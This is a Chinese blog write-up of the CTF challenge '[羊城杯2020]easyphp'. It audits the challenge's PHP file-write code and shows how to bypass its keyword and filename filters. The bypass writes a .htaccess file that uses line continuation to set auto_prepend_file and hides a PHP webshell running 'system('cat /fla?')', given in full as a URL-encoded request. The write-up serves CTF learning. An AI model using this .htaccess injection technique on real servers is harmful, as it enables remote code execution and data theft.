当前位置:网站首页>[羊城杯2020]easyphp
[羊城杯2020]easyphp
2022-07-02 22:09:00 【-栀蓝-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
代码审计
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
如果不是index.php页面,则会删除页面数据
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} 如果没有传入content或filename参数则直接die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
对传入参数content进行过滤,不能由on html type flag upload file
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
对传入参数filename进行过滤,filename只能由小写字母和.构成,否则die
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
跟最开始的过滤一样,如果不是index.php则会删除数据
file_put_contents($filename, $content . "\nHello, world");
将我们传入的内容content写入filename里面
但注意这里拼接了一个Hello world,会造成我们程序报错
最初的想法就是filename为a.php,content传入一句话木马,结果实践:
发现当作html直接输出在页面,并没有解析,或许后台设置了只解析了index.php,毕竟代码对index.php的提醒挺多的,于是在想能不能在index.php之前解析我们的htaccess,将配置项改一下即可,于是学习大佬得知还真是要利用htaccess来进行获取flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\
htaccess中\的作用是拼接上下文的,相当于php_value auto_prepend_file.htaccess
因为为了绕过过滤因此从file中间分开
其中利用注释符#将一句话木马写入,是因为在htaccess中是注释符的作用,但是在php执行的时候,一句话木马就会被执行
第三行的\是为了和代码最后面拼接的Hello,world也当作注释,否则hello world到第四行会执行报错
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C
边栏推荐
- go 多线程数据搜索
- JS获取display为none的隐藏元素的宽度和高度的解决方案
- [autosar-dcm] - 4.3-how UDS $22 and $2e services read and write NVM data
- 全面解析分享购商业模式逻辑?分享购是如何赋能企业
- [leetcode] reverse string [344]
- 傑理之修改不需要長按開機功能【篇】
- 'when to use const char * and when to use const char []' - when to use const char * and when to use const char []
- Additional: [login information storage] and [login status verification]; (including: summarizing all the contents of [login information storage] and [login status verification] so far;)
- NC50965 Largest Rectangle in a Histogram
- Jatpack------LiveData
猜你喜欢
Socket套接字C/S端流程
Additional: [login information storage] and [login status verification]; (including: summarizing all the contents of [login information storage] and [login status verification] so far;)
Graphic view frame
Share 10 JS closure interview questions (diagrams), come in and see how many you can answer correctly
PMP项目整合管理
Addition, deletion, modification and query of handwritten ORM (object relationship mapping)
Simpleitk use - 4 Strange question
SimpleITK使用——4. 奇怪的問題
SimpleITK使用——4. 奇怪的问题
Xiaopeng P7 had an accident and the airbag did not pop up. Is this normal?
随机推荐
Radis:Linux上安装Redis(步骤)
Source code analysis - lightweight asynchronous crawler framework Ruia
Socket套接字C/S端流程
Performance optimization - rigorous mode
NC24325 [USACO 2012 Mar S]Flowerpot
Graphic view frame
Commodity information management system (C language document version)
Addition, deletion, modification and query of handwritten ORM (object relationship mapping)
钟薛高回应产品1小时不化:含固体成分 融化不能变成水
【板栗糖GIS】arcscene—如何做出有高度的高程图
U++ learning note pile
JS syntax ES6, ES7, es8, es9, ES10, es11, ES12 new features (Abstract)
Phpcms realizes the direct Alipay payment function of orders
Jatpack------LiveData
go 4种单例模式
How can I use knockout's $parent/$root pseudovariables from inside a . computed() observable?
【板栗糖GIS】arcmap—为什么使用自定义捕捉的时候,经典捕捉的勾要去掉呢?
杰理之样机无触摸,拆机之后重新安装变正常【篇】
Wait to solve the zombie process
杰理之直接触摸样机的顶针反应不正常【篇】